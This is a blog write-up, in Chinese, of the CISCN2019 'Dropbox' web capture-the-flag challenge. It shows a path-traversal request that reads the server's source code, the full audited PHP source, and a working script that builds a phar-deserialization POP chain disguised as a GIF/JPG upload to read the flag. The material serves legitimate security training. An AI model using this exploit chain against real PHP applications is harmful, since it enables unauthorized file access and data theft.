CISCN2019 华北赛区 Day1 Web1 Dropbox _0x41-0x4F
题目给出的是一个登录框,并且有注册操作
我们可以先注册个账号登录下
有上传文件的功能,尝试文件上传,发现写死了,只允许图片上传。
那我们先上传个图片看一看
增加了两个功能,下载和删除
抓包来看一看
POST /download.php HTTP/1.1
Host: dffb1d8a-96e3-494b-af51-5369fad440d9.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 26
Origin: http://dffb1d8a-96e3-494b-af51-5369fad440d9.node4.buuoj.cn:81
Connection: close
Referer: http://dffb1d8a-96e3-494b-af51-5369fad440d9.node4.buuoj.cn:81/index.php
Cookie: UM_distinctid=17ba73558f3490-0c95ed277ed4498-4c3f217f-144000-17ba73558f4710; PHPSESSID=ad225e350fb42f426122effecd7c8b7c
filename=w5w.jpg
这里有个关键点filename=w5w.jpg,我们可以尝试将w5w.jpg改为别的文件名称
首先改为 ../../index.php
成功读取到了index.php的源码。
这时候尝试盲猜路径读取flag,并没有什么结果。那就读取下其他源码看一看吧
依次读取了
index.php,download.php,delete.php,class.php
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
这个里面没有什么有价值的东西
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
很多函数,最关键的是我们发现了 file_get_contents,这应该是题目的突破点
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
这里可以看到flag被过滤了,所以我们是无法直接读取flag的
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
存在任意文件下载漏洞,相应也存在任意文件删除漏洞。这里的意思不过返回True与False,没有发现什么有用的地方。
接下来我们来审计一下代码。
利用点:
public function close() {
return file_get_contents($this->filename);
}
看一下哪些地方调用了close函数
download.php中的
class.php的user类里面存在
这里执行的实际是关闭数据库的操作,但是有趣的是它和我们需要调用的函数重名。
download.php存在过滤,无法使用,所以我们尝试使用class.php中的魔术方法__destruct()来调用
如何调用__destruct()魔术方法呢,也就是如何调用对象呢,必须使用反序列化
但是整个代码中并没有出现过unserialize()这个函数,所以我们并不能直接进行序列化。
这时候就可以利用phar://伪协议,可以不依赖unserialize()直接进行反序列化操作.
关于phar的讲解可以看另外一篇博客:
审计代码,我们可以发现一个很有趣的魔术方法:
它在什么时候调用呢?
这个方法用来监视一个对象中的其它方法。如果你试着调用一个对象中不存在的方法,__call 方法将会被自动调用
这里__call的代码的意思就是如果调用的对象不存在,就会把这个函数写入$this->funcs,并且遍历文件,让每一个文件执行一遍这个函数。
因此我们的思路就清晰了一点。
首先反序列化一个类,这个类不存在close()方法(如果存在的话就不需要这么复杂了),然后对这个类调用close()方法,因为它不存在,所以会调用__call魔术方法,call魔术方法就可以调用close方法,从而完成file_get_contents函数的利用。
所以操作就是:
反序列化$user
调用完成,对象被销毁时,调用函数__destruct魔术方法
使$user -> db = FileList()
FileList这个类调用close(),不存在,调用__call方法,调用close()
接下来就可以来构建pop链:
<?php
class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename = '/flag.txt';
}
$user = new User;
@unlink("sakura.phar");
$phar = new Phar("sakura.phar"); //后缀名必须为phar
$phar->startBuffering(); //开始缓冲 Phar 写操作
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("sakura.txt", "sakura"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
运行得到sakura.phar文件,修改后缀为sakura.jpg,上传
访问delete.php
注意为什么不访问download.php来实行攻击?
这里要注意一个细节:
download.php中存在
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 这个函数执行后,我们通过Web只能访问当前目录、/etc和/tmp三个目录,所以只能在delete.php中利用payload,而不是download.php,否则访问不到沙箱内的上传目录。
访问delete.php,使用phar进行反序列化,成功得到flag
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!